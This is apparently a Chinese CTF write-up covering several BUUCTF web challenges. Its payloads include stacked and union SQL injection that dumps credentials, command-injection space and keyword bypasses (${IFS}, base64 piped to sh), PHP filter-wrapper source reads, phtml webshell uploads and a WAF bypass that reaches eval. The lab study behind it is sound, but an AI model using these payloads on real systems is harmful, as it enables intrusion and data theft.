堆叠注入,绕过||限制

BUUCTF的suctf2019,EasySQL

闭合测试

query=1

image-20220322110813199

image-20220322110824045

这里输入’没有回显也没有报错

image-20220322110852300

这里发现有过滤,本来想fuzz的发现平台靶机不让扫手工测试吧

image-20220322110946880

发现过滤了union,那么联合注入肯定就不行了.

尝试一下堆叠注入,发现回显了数据库

image-20220322111100711

接着查一下表

image-20220322111124297

但是查字段的时候发现了问题,这里发现from 和 flag 都被过滤了,这怎么注入

image-20220322111226954

这块需要我们对后端的语句进行猜测,通过输入非零数字得到回显和输入其他字符得不到回显来判断出内部的查询语句可能存在有|| ,也就是select 输入的数据|| 内置一个列名 from 表名,进一步猜测即为select post 进去的数据 || flag from flag (含有数据的表名,通过堆叠注入可知),需要注意的是,此时的|| 起到的作用是or 的作用

方法一

输入的内容为 *,1 
内置的sql语句为sql = "select".sql = "select".post['query']."||flag from flag";
那么最终语句就是 "select *,1 || flag from flag"也就是select *,1 from flag;也就直接查出来flag表中的所有数据

方法二

输入内容为1; set sql_mode=pipes_as_concat;select 1
其中set sql_mode=pipes_as_concat的作用是将||的作用由or变为拼接字符串

查询当前数据库的sql_mode

image-20220322122725261

这个sql_mode下使用||异或运算符

select 0 || flag from flag;

image-20220322122742757

当设置sql_mode为PIPES_AS_CONCAT时,将”||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似

set sql_mode=PIPES_AS_CONCAT;

image-20220322122824640

select 1 || flag from flag;

image-20220322122844336

sql="select".sql="select".post[‘query’]."||flag from Flag";
query=3;set sql_mode=PIPES_AS_CONCAT;select 3

image-20220322123021799

附加几种常见的sql_mode值的介绍:

几种常见的mode介绍
ONLY_FULL_GROUP_BY:出现在select语句、HAVING条件和ORDER BY语句中的列,必须是GROUP BY的列或者依赖于GROUP BY列的函数列。

NO_AUTO_VALUE_ON_ZERO:该值影响自增长列的插入。默认设置下,插入0或NULL代表生成下一个自增长值。如果用户希望插入的值为0,而该列又是自增长的,那么这个选项就有用了。

STRICT_TRANS_TABLES:在该模式下,如果一个值不能插入到一个事务表中,则中断当前的操作,对非事务表不做限制

NO_ZERO_IN_DATE:这个模式影响了是否允许日期中的月份和日包含0。如果开启此模式,2016-01-00是不允许的,但是0000-02-01是允许的。它实际的行为受到 strict mode是否开启的影响1。

NO_ZERO_DATE:设置该值,mysql数据库不允许插入零日期。它实际的行为受到 strictmode是否开启的影响2。

ERROR_FOR_DIVISION_BY_ZERO:在INSERT或UPDATE过程中,如果数据被零除,则产生错误而非警告。如果未给出该模式,那么数据被零除时MySQL返回NULL

NO_AUTO_CREATE_USER:禁止GRANT创建密码为空的用户

NO_ENGINE_SUBSTITUTION:如果需要的存储引擎被禁用或未编译,那么抛出错误。不设置此值时,用默认的存储引擎替代,并抛出一个异常

PIPES_AS_CONCAT:将”||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似

ANSI_QUOTES:启用ANSI_QUOTES后,不能用双引号来引用字符串,因为它被解释为识别符

无注释闭合sql注入

BUUCTF[极客大挑战 2019]LoveSQL

打开发现是登录框,直接抓一下数据

image-20220322144646473

image-20220322144741735

发现是像check.php发送请求了,测试下闭合方式

check.php?username=1'&password=1

image-20220322144822714

单引号闭合,无括号

万能密码登录一下

check.php?username=admin&password=1' or '1'='1

image-20220322145600027

这个解密不出来

查字段数

check.php?username=admin&password=1' union select 1,2,3,4 or '1'='1

image-20220322145657980

image-20220322145709022

那么就是三个了,在2这里有回显,这里需要注意这里的1并不是字段1的值而是永真条件的1这里是不能利用的.也可以这么闭合

check.php?username=admin&password=1' union select 1,2,'3

接着查数据库

username=admin&password=1' union select 1,database(),'3

image-20220322145913037

查表

check.php?username=admin&password=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),'3

image-20220322150501363

查字段名

check.php?username=admin&password=1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="l0ve1ysq1"),'3

image-20220322150638446

得数据

check.php?username=admin&password=1' union select 1,(select group_concat(username,password) from l0ve1ysq1),'3

image-20220322150738985

命令执行之进程监控绕过

使用 | 来绕过并使用写入文件的方法二次返回查看结果

123|ls ../../../>test

查找flag文件的存在

image-20220322124456330

找到之后在通过网页直接访问

http://114.67.175.224:16803/test

image-20220322124512696

image-20220322124531390

下载下来一个文件

同理查看flag

123|cat /flag>test1

image-20220322124607710

image-20220322124618442

image-20220322124630488

linux 空格过滤绕过

BUUCTF[GXYCTF2019]Ping Ping Ping

image-20220322133232247

发现提示ip,那么添加上发现是一个命令执行

image-20220322133559594

?ip=1||ls

image-20220322133615843

发现flag.php与index.php那么现在就是读取文件了

?ip=1||cat flag.php

image-20220322133758302

发现过滤了空格,想办法绕过空格,大题有以下思路

cat flag.php
cat${IFS}flag.php
cat$IFS$9flag.php
cat<flag.txt
cat<>flag.txt$1
{cat,flag.php} //用逗号实现了空格功能
%20
%09

有时 cat 可能被过滤,那么尝试用 tac,反向输出;或者 linux命令中可以加 \,所以甚至可以 ca\t /fl\ag

?ip=1||cat$IFSflag.php

发现flag也被过滤

image-20220322134002100

这里尝试了一下只有?ip=1||cat$IFS$1index.php可用
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];/*
/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/
表示匹配&/?*<匹配\x00-\x1f之间的>'"\()[]{}
*/
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){#不能匹配空格
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){#不能匹配bash
die("fxck your bash!");
// /.*f.*l.*a.*g.*/
// .表示匹配任何字符不包括换行符
// *表示匹配0个或者更多个前面的标记flag
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);#通过shell环境执行命令并通过字符串形式进行返回
echo "<pre>";
print_r($a);
}

?>

拼接

ip=1||a=g;cat$IFS$1fla$a.php
?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php

sh

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

这里先对cat flag.php进行base64加密,既然过滤了bash,那就使用sh.sh也是Linux中的shell命令,bash是sh的升级版,在此题我们也可以利用sh,先将flag.php base64编码绕过过滤,后再通过sh命令将其解码即可

内联注释

ip=127.0.0.1;cat$IFS$9`ls`

反引号里面的命令的输出作为执行

php伪协议使用

BUUCTF[极客大挑战 2019]Secret File

image-20220322130428887

看一下源代码,发现有一个连接打开看看

image-20220322130444070

image-20220322130513854

一点就跳过去了,抓包看一下

image-20220322130519983

image-20220322130650358

发现文件,访问一下

image-20220322130708952

<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];#这里就是不能匹配到这几个
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>

这里就很简单了直接php伪协议得一下源码就好

?file=php://filter/read=convert.base64-encode/resource=flag.php

image-20220322130815564

image-20220322130824732

简单webshell连接

BUUCTF极客大挑战 2019Knife

image-20220322151015834

image-20220322150924356

image-20220322151126779

添加http请求头

BUUCTF[极客大挑战 2019]Http

image-20220322151442084

打广告,过分页面上啥也没有,那么接下来就是扫目录或者看源码了,这里翻源码看到一个奇怪的页面

image-20220322151822325

image-20220322151858825

接下来加个Referer头就行了

Referer:https://Sycsecret.buuoj.cn

image-20220322152139712

改一下浏览器

image-20220322152233580

image-20220322152245360

加个X-Forwarded-For

X-Forwarded-For:127.0.0.1

image-20220322152429354

文件头加phtml文件上传

BUUCTF[极客大挑战 2019]Upload

image-20220322153258956

进来是个文件上传,一般主要检查的地方主要是:后缀名 content-type 文件头的部分内容

上传一个php的文件

image-20220322153810871

接下来尝试phtml 加上修改content-type,也可以先上传图片在改名

image-20220322154000345

image-20220322154009719

那是不是检查了文件头呢

image-20220322154803072

image-20220322154814044

然后呢?文件位置呢?

http://2fef9b1d-d14e-48be-b6a8-267aaf53075b.node4.buuoj.cn:81/upload/

发现一个目录遍历漏洞

image-20220322154558713

啊这么多

image-20220322155818879

连一下试试

image-20220322155835246

image-20220322155853671

文件头加phtml文件上传

BUUCTF[ACTF2020 新生赛]Upload

image-20220322160147880

发现文件上传

直接传一个php文件

image-20220322160301378

发现有前段验证,抓包改一下

image-20220322160347019

上传一个phtml的文件

image-20220322161223047

image-20220322161233884

image-20220322161257396

waf参数解析漏洞

BUUCTF[RoarCTF 2019]Easy Calc

image-20220322162246858

一个计算器,小试一下都不行,那么看源码,扫目录

image-20220322162338629

搜了一下.php发现有一个calc.php访问一下得到源码

<?php
error_reporting(0);
if(!isset($_GET['num'])){#没设置num就返回源码
show_source(__FILE__);
}else{
$str = $_GET['num'];#黑名单空格 制表符 回车 换行 ' " ` [ ] $ \ ^
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {#这里的/m表示匹配多行
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

这里需要小小了解一下php的解析规则,当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再做解析

也就是说这个waf会对这个num参数进行过滤,如果有危险就直接拦截,但是呢如果我们在num前加一个 空格那么num就会变成 num 也就是空格+num 那么waf就找不到num这个变量,进而无法去过滤.而php在解析参数之前会去掉前面的空格,那么php照样会正确解析.

scandir()

这个命令会列出参数目录中的文件和目录

这里就需要使用scandir(‘/‘)来列出文件,但是/被过滤了,那么可以使用chr(47)代替这里的47就是/

在使用var_dump()输出数组的所有信息

/calc.php?%20num=1;var_dump(scandir(chr(47)))

image-20220322164444852

接着就是使用file_get_contents()函数读取文件了,与上面相似也是使用chr(构造)

/calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

image-20220322165131331

php的字符串解析特性

php将查询字符串(在url或正文中)转换为内部$_GET或$_POST.例如:?foo=bar变成Array([foo]=>”bar”).值得注意的是,查询字符串在解析的过程中会将某个字符删除或用下滑线进行替代.

/? news[id%00=42

会变成Array([news_id=>42]).如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过

/news.php? news[id%00=42"+AND+1=00_

上述php语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中

HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,他会做两件事

删除空白符
将某些字符转换为下划线(包括空格)